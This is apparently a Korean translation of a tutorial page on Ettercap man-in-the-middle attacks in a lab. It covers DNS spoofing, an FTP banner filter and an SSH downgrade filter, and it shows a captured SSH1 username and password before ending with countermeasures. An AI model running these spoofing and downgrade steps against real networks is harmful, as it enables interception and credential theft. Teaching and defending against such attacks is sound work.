ETTERCAP - The Easy Tutorial - Man in the middle attacks

Ettercap Mitm attacks
최종 업데이트: Jul 21 2011


Tool
Install
Ergonomy
Forum



Details Ettercap은 무엇인가?
설치방법
ARP 포이즈닝
중간자 공격 (MITM, Man-in-the-middle Attack)
통계
대응책

Korean translation by Youngbin Benjamin Im helped by powerhan96.



⚠️⚠️⚠️
Please check our website about
attractions in Western Switzerland !! (Please use english translation).

⚠️⚠️⚠️
Merci de consulter notre site sur les
activités à faire en Suisse romande !!


ARP감염 설명서을 봤다면 대상자의 ARP캐쉬가 강제적으로 변경되어 Ettercap PC를 통과하여 원하는 목적지로 패킷을 보내도록 설정이 되어있을 것이다.

네트워크 시나리오 다이어그램은 Ettercap 소개 페이지에 나와있다.

이러한 트랩이 설정이 되었다면 이게 중간자 공격이 가능한 상황이 된 것이고 두 PC간의 오고 가는 패킷을 수정하고 필터링 할 수 있는 상태다.

피해자PC를 공격하기 위해서는 Ettercap의 플러그인을 사용해도 되고 직접 필터를 작성하여 사용해도 된다.


1. 플러그인 2. 필터


플러그인

여기서는 dns_spoof라는 Ettercap 플러그인을 사용하여 매우 유명한 DNS 스푸핑 공격을 할 것이다. DNS 스푸핑 공격은 공격자가 DNS 요청을 받아 DNS 서버처럼 응답하는 것이다.
평소에 자주 방문하는 웹페이지를 브라우저를 통해 접근할 때, 자신의 PC (이전 설명서의 예제에서 IP주소를 192.168.1.2로 사용하였다)는 가장 먼저 URL을 DNS 서버로 보내 이에 해당하는 IP주소를 요청할 것이고 이 IP주소를 가지고 브라우저는 해당 웹페이지의 정보를 불러와 보여줄 것이다.
DNS 스푸핑을 하면, DNS로의 요청을 공격자가 가로채 정상적인 DNS 서버 대신 엉뚱한 IP주소로 응답할 수 있다.
위와 같은 공격의 결과는, 피해자가 원하는 웹페이지를 접근하였다고 생각하지만 실제로는 공격자가 제공한 IP주소의 웹페이지를 보게 된다.
공격자가 은행과 같은 웹페이지를 스푸핑한다면 이러한 공격은 아주 위험할 수 있다. 공격자는 가짜 웹페이지를 실제 사이트와 동일한 모습으로 만들어 두고 피해자가 접근하기를 기다렸다가 개인정보를 취득할 수 있다.
이제 DNS 스푸핑 공격을 실행해보자.
첫 번째로 해야 할 것은 /usr/share/ettercap/ 디렉토리에 있는 etter.dns파일을 설정하는 것이다.

#vim /usr/share/ettercap/etter.dns
파일을 열면 설정에 대한 내용을 볼 수 있다.
아래는 etter.dns의 내용이다.

linux1.org
*.linux.com
www.linux.org
A
A
PTR
198.182.196.56
198.182.196.56
198.182.196.56
위 설정 정보에 따르면 피해자가 웹브라우저를 통해 www.linux1.org에 접속하면 실제로는 www.linux.org 사이트가 열리도록 하라는 것이다.

DNS 스푸핑을 하기 위해서는 Ettercap 그래픽 인터페이스에서 dns_spoof 플러그인을 활성화 시켜야 한다. DNS 스푸핑 공격을 하기 위해서는 ARP 감염 설명서을 먼저 수행하도록 한다.

Plugins -> Manage the plugins
openmaniak ettercap man in the middle attack Manage the plugins

dns_spoof 라인을 선택하여 플러그인을 활성화 시킨다. 활성화는 라인의 좌측에 별표시로 확인 할 수 있다.

openmaniak ettercap  man in the middle attack dns_spoof line

웹 브라우저에 www.linux1.org를 입력한다.
웹 페이지를 열어보면 실제 페이지가 아닌 etter.dns파일에 추가한 www.linux1.org주소에 해당하는 IP주소의 페이지인 것을 확인할 수 있다.

openmaniak ettercap  man in the middle attack

                       man in the middle attack openmaniak ettercap
openmaniak ettercap  man in the middle attack

DNS 스푸핑 멈추기

Start -> Stop sniffing
공격을 중단했음에도 불구하고 www.linux1.org을 열어보면 변경된 www.linux.org의 내용을 보게 된다. 이것은 클라이언트의 PC의 DNS 캐시정보가 남아있기 때문인데, 윈도우의 경우 DNS 캐시의 내용을 300초(5분)간 유지하도록 설정되어 있기 때문이다. 원래대로 복구를 하려면 5분을 기다리거나 다음과 같은 명령어를 사용하여 DNS 캐쉬를 초기화 할 수 있다.

윈도우에서 컴맨드라인 인터페이스를 실행한다.
Start -> Run -> cmd

C:\Documents and Settings\administrator>ipconfig /flushdns
우분투에서는 다음과 같은 명령어를 사용하면 된다: “/etc/init.d/dns-clean start”
DNS 캐시를 확인하려면 다음과 같은 명령어를 사용한다.

C:\Documents and Settings\administrator>ipconfig /displaydns
만약 DNS 캐시의 디폴트 저장시간을 변경하려면 윈도우 레지스트리의 값을 변경해야 한다.
레지스트리를 변경할 경우에는 매우 조심해야 한다. 잘못된 설정은 시스템에 큰 영향을 줄 수 있으며 부팅이 안 되는 경우가 생길 수도 있다.

Start -> Run -> arborescence below:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\

오른쪽 패널의 “NegativeCacheTime”을 클릭한다.

openmaniak ettercap registry negativecachetime man in the middle attack

“Decimal” 버튼을 클릭하고 DNS 캐시 저장시간의 값을 변경한다.

 man in the middle attack openmaniak ettercap registry negativecachetime

Top of the page



필터

필터는 패킷의 내용을 바꿀 수 있도록 하는 기능이다.
필터를 설정하고 적용하려면 설정파일을 컴파일 해야 한다. 이미 정의된 예제는 /usr/share/ettercap 디렉토리에서 찾을 수 있다.
두 가지 예를 통해 Ettercap 필터를 보도록 하겠다.

1. FTP 프롬프트 변경
2. SSH downgrade 공격

1. FTP 프롬프트 변경:

FTP 연결에서 프롬프트를 변경하는 예제를 보도록 하겠다. 아래는 /usr/share/ettercap 디렉토리에 있는 test_filter라는 설정파일이다.

# replace the FTP prompt
if (tcp.src == 21 && search(DATA.data, "ProFTPD")) {
   replace("ProFTPD","TeddyBearFTPD);
}


Ettercap은 컴파일 된 설정파일만 로드할 수 있으므로 etterfilter를 사용하여 컴파일을 해야 한다.

#etterfilter etter_filter -o etter_filter_compil
etter_filter_compil 이름으로 컴파일 된 필터파일이 생성된다.

Ettercap에서 불러온다.

Filters -> Load a filter...
openmaniak ettercap man in the middle attack Load a filter

openmaniak ettercap man in the middle attack Load a filter

이제, 클라이언트 PC(192.168.1.2)를 이용하여 FTP연결을 시험해보도록 한다. 시험 방법은 Ettercap 필터를 적용하기 이전과 이후를 비교하는 방식으로 한다.
“xyz”는 웹사이트 명이며 IP주소는 “1.2.3.4”이다.

(당연한 얘기지만, 공격자 PC는 중간자 상태로 만들어 두어야 한다. 중간자 상태가 아니라면 [ARP 감염 설명서]를 먼저 수행한 후 진행하기 바란다.)

C:\Documents and Settings\Administrator>ftp www.xyz.com
Connected to xyz.com.
220 "ProFTPD 1.3.0a Server ("ProFTPD) [1.2.3.4]
User (xyz.com:(none)):


C:\Documents and Settings\Administrator>ftp www.xyz.com
Connected to xyz.com.
220 "TeddyBear FTPD 1.3.0a Server ("TeddyBear FTPD) [1.2.3.4]
User (xyz.com:(none)):



Top of the page     Filter menu

2. SSH Downgrade 공격

“the downgrade 공격”으로 불리는 특별한 공격 역시 중간가 포이즈닝이 완료되면 공격이 가능하게 된다. 이 공격의 원리는 패킷 내용의 정보를 변경하여 사용하는 프로토콜 버전을 취약한 버전으로 낮추는 방식이다.

---------------- 원리 ----------------

SSH는 Downgrade 공격의 예로 가장 많이 사용되는 프로토콜 중 하나로, 공격 대상 PC와 서버가 사용하는 SSH를 보안이 취약한 SSH1 프로토콜을 사용하도록 공격자가 강제하는 방법이다.

클라이언트는 SSH 링크를 성립하기 위해 서버에 지원 가능한 프로토콜 버전 정보를 요청한다.
서버는 다음과 같은 응답을 보내게 된다:
- ssh-2.xx The server supports only SSH2
- ssh-1.99 The server supports SSH1 and SSH2
- ssh-1.51 The server supports only SSH1

여기서 보여줄 예제에서는 서버와 클라이언트 모두 SSH1과 SSH2 둘 다 지원하도록 설정을 하였으며 SSH2를 상위 설정으로 지정해 놓았다.

만약, 서버에서 SSHv1과 SSHv2를 사용 가능하도록 설정하였으면 해커는 “1.99” 문자열을 “1.51”로 변경하여 클라이언트로 보내게 되며 클라이언트는 서버가 SSH1만 지원하는 것으로 착각하게 된다. 결국 클라이언트는 SSH1 링크를 사용하게 된고 안전한 SSH2 프로토콜을 사용토록 설정해 놓은 클라이언트 역시 SSH1 링크를 열게 된다. 그런 다음 해커는 SSH1의 취약한 비밀번호 인증 절차를 이용하여 비밀번호를 바로 캡처할 수 있게 된다..

putty ssh downgrade attack

---------------- 예제를 위한 준비사항 ----------------

a. SSH Server: 리눅스에 OpenSSH를 설치한다.
b. SSH client: Windows에 Putty를 다운받는다.
c. Hacker machine: Ettercap.

a. Server installation:

#apt-get install openssh-server

OpenSSH서버에서 디폴트로 SSH2 프로토콜만 사용하도록 설정되어 있다. SSH1 프로토콜 사용을 활성화 하려면 /etc/ssh/sshd_config파일에서 “Protocol”로 시작되는 라인을 수정해야 한다.

#vim /etc/ssh/sshd_config
Protocol 1,2
위와 같이 설정파일 수정이 끝났으면 SSH1 키값을 생성해야 한다. 만약 키값을 생성하지 않으면 SSH 서버를 재시작 하였을 때 다음과 같은 오류를 볼 것이다. Disabling protocol version 1. Could not load host key.

#ssh-keygen -t rsa1 -f /etc/ssh/ssh_host_key -N ""
Key 패스를 sshd_config파일에 저장한다.

HostKey /etc/ssh/ssh_host_key
마지막으로 서버를 재시작 한다.

#/etc/init.d/ssh restart
   * Restarting OpenBSD Secure Shell server sshd

SSH 서버는 이제 SSH1과 SSH2 프로토콜을 사용 가능하도록 설정이 되었다. 그리고 “ssh-1.99”로 응답하도록 설정이 되었다. 이것은 다음과 같은 명령어로 확인을 할 수 있다.

#telnet server_ip_address 22
Trying server_ip_address...
Connected to server_ip_address.
Escape character is '^]'.
SSH-1.99-OpenSSH_4.6p1 Debian-5ubuntu0.1


b. Client installation:

Putty 클라이언트를 다운로드한다. Putty는 오픈 소스이며 윈도우용 SSH클라이언트로 유명하다.
SSH의 디폴트 설정을 유지한다. SSH1과 SSH2 모두 수용 가능 하지만 SSH2를 우선적으로 사용한다.

putty ssh2 version

c. Ettercap installation:

Ettercap installation 설명서을 사용하여 Ettercap을 설치하고 ARP 포이즈닝 설명서을 사용하여 공격자 PC를 중간자 환경으로 만든다.

이제 환경의 설정은 완료하였으며 SSH downgrade공격을 수행할 수 있다.

---------------- SSH downgrade 공격 수행 ----------------

Ettercap은 SSH downgrade 공격에 사용 가능한 설정파일을 제공한다. 파일은 /usr/share/ettercap/etter_filter_ssh이다.
파일의 내용은 확인할 수 있으나 수정할 필요는 없다.

#cat /usr/share/ettercap/etter.filter.ssh
if (ip.proto == TCP) {
if (tcp.src == 22) {
if ( replace("SSH-1.99", "SSH-1.51") ) {
msg("[SSH Filter] SSH downgraded from version 2 to 1\n");
} else {
if ( search(DATA.data, "SSH-2.00") ) {
msg("[SSH Filter] Server supports only SSH version 2\n");
} else {
if ( search(DATA.data, "SSH-1.51") ) {
msg("[SSH Filter] Server already supports only version 1\n");
}
}
}
}
}
위의 파일을 컴파일만 하면 된다.

#etterfilter etter_filter_ssh -o etter_filter_ssh_co
이제 필터를 로드하면 된다.

Filters -> Load a filter...
ettercap load ssh downgrade filter

컴파일된 필터를 선택한다.

ettercap load ssh downgrade filter file

필터가 로드 되었으므로 클라이언트에서 SSH링크를 열 준비가 되었다.

ettercap ssh downgrade filter loaded

클라이언트, 서버, 그리고 해커PC의 설정이 제대로 되었다.
이제 클라이언트에서 Putty를 사용하여 SSH링크를 열어보도록 하자.
Putty를 실행하고 왼쪽 메뉴에서 Session을 선택한다. SSH서버의 IP주소(예제에서는 192.168.1.68을 사용하도록 하였다)를 입력하고 연결 타입을 SSH로 변경한다. “Open”버튼을 클릭하여 SSH 서버로 접속한다.

ettercap open ssh link with putty

이제 모든 상황이 설정대로 되는지 확인한다. 해커PC에서 SSH1 비밀번호를 받는지 확인한다.

ettercap ssh1 downgrade filter credentials

위와 같이 공격이 성공하였다.

Ettercap에서 SSH 버전을 낮추었으며 개인정보를 추출하였다.
1. Downgraded the SSH version:
2. Captured the SSH1 credentials:
[SSH Filter] SSH downgraded from version 2 to 1
SSH : 192.168.1.68:22 -> USER:guillfab PASS:T0rduT1m
SSH서버에서Wireshark를 사용하여 SSH링크가 성립이 되는 순서를 확인할 수 있다. (클릭하여 크게 볼 수 있다)

wireshark ssh1 initialisation process

1. 서버(192.168.1.68)은 클라이언트(192.168.1.132)로 SSH1과 SSH2를 지원한다는 메시지인 “1.99” 응답을 보냈다.
2. “1.99” 응답은 해커PC에 의해 “1.51”로 변경이 되었으므로 클라이언트는 SSH1 링크로 연결 요청을 한다.
3. 암호화된 SSH1 패킷이다.

---------------- 대응책 ----------------

SSH downgrade 공격을 피할 수 있는 방법은 무엇인가?

SSH 서버에서 SSH1 프로토콜 허용을 금지 해야 하며 클라이언트도 강제로 SSH2 프로토콜을 사용하도록 하여야 한다.
OpenSSH 서버는 디폴트로 SSHv2를 사용하도록 되어있다. Putty 같은 클라이언트에서는 SSH1과 SSH2를 모두 사용할수 있도록 되어있는 것을 자주 볼 수 있다.

SSH 서버와 클라이언트에서 보안 강화시키는 방법을 보도록 하겠다.

SSH server:
/etc/ssh/sshd_config 파일을 열어서 SSH2 프로토콜만 사용하도록 되어있는지 확인한다.

#vim /etc/ssh/sshd_config
Protocol 2
설정파일을 변경하였다면 “/etc/init.d/ssh restart” 명령을 사용하여 서비스를 재시작하여야 한다.
서비스를 재시작 했으면 SSH2프로토콜만 지원하는지 다음과 같은 명령어를 사용하여 확인한다.

#telnet server_ip_address 22
Trying server_ip_address...
Connected to server_ip_address.
Escape character is '^]'.
SSH-2.0-OpenSSH_4.6p1 Debian-5ubuntu0.1

빨간색으로 표시되는 버전 정보에 2.0이 표시되어야 한다.

SSH client:
클라이언트에서도 SSH2 프로토콜을 강제로 사용하도록 한다.
Putty의 왼쪽메뉴에서 “Connection”을 클릭하고 “SSH”를 선택한다. 우측에 “2 only” 라디오 버튼을 선택한다.

putty ssh2 version

Top of the page     Filter menu



전반적인 보안 규칙에 디폴트 설정을 사용하지 않는 버릇이 중요하다. 서버와 클라이언트 모두 보안 설정을 최대한 높여서 사용하는 것이 중요하다.